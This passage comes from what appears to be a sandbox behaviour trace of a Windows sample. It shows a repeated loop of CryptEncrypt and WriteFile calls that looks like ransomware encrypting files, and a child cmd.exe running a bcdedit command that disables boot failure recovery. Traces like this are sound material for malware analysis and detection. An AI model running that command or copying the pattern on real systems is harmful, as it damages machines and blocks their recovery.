nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.657] WriteFile (in: hFile=0x3104, lpBuffer=0x3998530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.657] CloseHandle (hObject=0x3104) returned 1 [0236.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.665] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa2f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa2f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.666] WriteFile (in: hFile=0x3104, lpBuffer=0x3afa2f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa2f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.666] WriteFile (in: hFile=0x3104, lpBuffer=0x3998560*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998560*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.666] CloseHandle (hObject=0x3104) returned 1 [0236.775] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.775] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa920*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa920*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.775] WriteFile (in: hFile=0x3104, lpBuffer=0x3afa920*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa920*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.775] WriteFile (in: hFile=0x3104, lpBuffer=0x39984f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.776] CloseHandle (hObject=0x3104) returned 1 [0236.779] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.779] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afad40*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afad40*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.779] WriteFile (in: hFile=0x3104, lpBuffer=0x3afad40*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afad40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.779] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.780] CloseHandle (hObject=0x3104) returned 1 [0236.831] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.831] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9cc0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9cc0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.831] WriteFile (in: hFile=0x3104, lpBuffer=0x3af9cc0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9cc0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.832] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.832] CloseHandle (hObject=0x3104) returned 1 [0236.848] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.848] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa608*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa608*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.849] WriteFile (in: hFile=0x3104, lpBuffer=0x3afa608*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa608*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.849] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.849] CloseHandle (hObject=0x3104) returned 1 [0236.856] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.856] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa500*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa500*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.857] WriteFile (in: hFile=0x3104, lpBuffer=0x3afa500*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa500*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.857] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.857] CloseHandle (hObject=0x3104) returned 1 [0236.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb268*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb268*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.932] WriteFile (in: hFile=0x3104, lpBuffer=0x3afb268*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb268*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.933] WriteFile (in: hFile=0x3104, lpBuffer=0x3998530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.933] CloseHandle (hObject=0x3104) returned 1 [0236.937] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.937] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afad40*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afad40*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.937] WriteFile (in: hFile=0x3104, lpBuffer=0x3afad40*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afad40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.937] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.938] CloseHandle (hObject=0x3104) returned 1 [0236.965] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.965] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afbbb0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afbbb0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.965] WriteFile (in: hFile=0x3104, lpBuffer=0x3afbbb0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afbbb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.965] WriteFile (in: hFile=0x3104, lpBuffer=0x39984a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.966] CloseHandle (hObject=0x3104) returned 1 [0236.992] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.992] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afad40*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afad40*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.992] WriteFile (in: hFile=0x3104, lpBuffer=0x3afad40*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afad40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.993] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.993] CloseHandle (hObject=0x3104) returned 1 [0236.996] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0236.996] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb268*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb268*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0236.996] WriteFile (in: hFile=0x3104, lpBuffer=0x3afb268*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb268*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0236.997] WriteFile (in: hFile=0x3104, lpBuffer=0x39984a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0236.997] CloseHandle (hObject=0x3104) returned 1 [0237.003] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0237.003] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb9a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb9a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0237.003] WriteFile (in: hFile=0x3104, lpBuffer=0x3afb9a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb9a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0237.004] WriteFile (in: hFile=0x3104, lpBuffer=0x3998480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998480*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0237.004] CloseHandle (hObject=0x3104) returned 1 [0237.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0237.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afac38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afac38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0237.026] WriteFile (in: hFile=0x3104, lpBuffer=0x3afac38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afac38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0237.027] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0237.027] CloseHandle (hObject=0x3104) returned 1 [0237.043] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0237.043] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afa710*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afa710*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0237.043] WriteFile (in: hFile=0x3104, lpBuffer=0x3afa710*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afa710*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0237.044] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0237.044] CloseHandle (hObject=0x3104) returned 1 [0237.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0237.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afab30*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afab30*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0237.066] WriteFile (in: hFile=0x3104, lpBuffer=0x3afab30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afab30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0237.067] WriteFile (in: hFile=0x3104, lpBuffer=0x3998480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998480*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0237.067] CloseHandle (hObject=0x3104) returned 1 [0237.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0237.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3afb580*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3afb580*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0237.178] WriteFile (in: hFile=0x3104, lpBuffer=0x3afb580*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3afb580*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0237.178] WriteFile (in: hFile=0x3104, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0237.179] CloseHandle (hObject=0x3104) returned 1 Thread: id = 163 os_tid = 0xa24 Process: id = "2" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xd0b0000" os_pid = "0xd34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x47c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 2 os_tid = 0xd38 Thread: id = 3 os_tid = 0xd4c Thread: id = 4 os_tid = 0xc34 Thread: id = 5 os_tid = 0x58 Thread: id = 6 os_tid = 0xb6c Thread: id = 161 os_tid = 0x770 Thread: id = 162 os_tid = 0xd60 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7622000" os_pid = "0xf04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x47c" cmd_line = "/C bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 12 os_tid = 0xf08 [0050.101] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b8240000 [0050.101] __set_app_type (_Type=0x1) [0050.101] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7b8256d00) returned 0x0 [0050.102] __getmainargs (in: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210, _DoWildCard=0, _StartInfo=0x7ff7b827921c | out: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210) returned 0 [0050.102] _onexit (_Func=0x7ff7b8257fd0) returned 0x7ff7b8257fd0 [0050.102] _onexit (_Func=0x7ff7b8257fe0) returned 0x7ff7b8257fe0 [0050.102] _onexit (_Func=0x7ff7b8257ff0) returned 0x7ff7b8257ff0 [0050.102] _onexit (_Func=0x7ff7b8258000) returned 0x7ff7b8258000 [0050.102] _onexit (_Func=0x7ff7b8258010) returned 0x7ff7b8258010 [0050.102] _onexit (_Func=0x7ff7b8258020) returned 0x7ff7b8258020 [0050.103] GetCurrentThreadId () returned 0xf08 [0050.103] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf08) returned 0x7c [0050.103] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0050.103] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0050.103] SetThreadUILanguage (LangId=0x0) returned 0x409 [0050.424] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0050.424] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xaffaaff7f8 | out: phkResult=0xaffaaff7f8*=0x0) returned 0x2 [0050.425] VirtualQuery (in: lpAddress=0xaffaaff7e4, lpBuffer=0xaffaaff760, dwLength=0x30 | out: lpBuffer=0xaffaaff760*(BaseAddress=0xaffaaff000, AllocationBase=0xaffaa00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.425] VirtualQuery (in: lpAddress=0xaffaa00000, lpBuffer=0xaffaaff760, dwLength=0x30 | out: lpBuffer=0xaffaaff760*(BaseAddress=0xaffaa00000, AllocationBase=0xaffaa00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.425] VirtualQuery (in: lpAddress=0xaffaa01000, lpBuffer=0xaffaaff760, dwLength=0x30 | out: lpBuffer=0xaffaaff760*(BaseAddress=0xaffaa01000, AllocationBase=0xaffaa00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.425] VirtualQuery (in: lpAddress=0xaffaa04000, lpBuffer=0xaffaaff760, dwLength=0x30 | out: lpBuffer=0xaffaaff760*(BaseAddress=0xaffaa04000, AllocationBase=0xaffaa00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.425] VirtualQuery (in: lpAddress=0xaffab00000, lpBuffer=0xaffaaff760, dwLength=0x30 | out: lpBuffer=0xaffaaff760*(BaseAddress=0xaffab00000, AllocationBase=0xaffab00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.425] GetConsoleOutputCP () returned 0x1b5 [0050.671] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0050.671] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7b8268150, Add=1) returned 1 [0050.671] _get_osfhandle (_FileHandle=1) returned 0xc [0050.671] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc04 | out: lpMode=0x7ff7b827fc04) returned 1 [0050.811] _get_osfhandle (_FileHandle=0) returned 0x8 [0050.811] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc00 | out: lpMode=0x7ff7b827fc00) returned 1 [0050.890] _get_osfhandle (_FileHandle=1) returned 0xc [0050.890] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0051.044] _get_osfhandle (_FileHandle=1) returned 0xc [0051.044] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0051.132] _get_osfhandle (_FileHandle=1) returned 0xc [0051.132] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0051.173] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.173] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0051.250] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.250] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0051.424] GetEnvironmentStringsW () returned 0x1d43c1a5b20* [0051.425] GetProcessHeap () returned 0x1d43c1a0000 [0051.425] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0xb2e) returned 0x1d43c1a6660 [0051.425] FreeEnvironmentStringsA (penv="A") returned 1 [0051.425] GetProcessHeap () returned 0x1d43c1a0000 [0051.425] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0x8) returned 0x1d43c1a5b20 [0051.425] GetEnvironmentStringsW () returned 0x1d43c1a71a0* [0051.425] GetProcessHeap () returned 0x1d43c1a0000 [0051.425] RtlAllocateHeap (HeapHandle=0x1d43c1a0000, Flags=0x8, Size=0xb2e) returned 0x1d43c1a7ce0 [0051.425] FreeEnvironmentStringsA (penv="A") returned 1 [0051.425] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xaffaafe6a8 | out: phkResult=0xaffaafe6a8*=0x88) returned 0x0 [0051.425] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x0, lpData=0xaffaafe6c0*=0x4, lpcbData=0xaffaafe6a4*=0x1000) returned 0x2 [0051.425] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x4, lpData=0xaffaafe6c0*=0x1, lpcbData=0xaffaafe6a4*=0x4) returned 0x0 [0051.425] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xaffaafe6a0, lpData=0xaffaafe6c0, lpcbData=0xaffaafe6a4*=0x1000 | out: lpType=0xaffaafe6a0*=0x0, lpData=0xaffaafe6c0*=0x1, 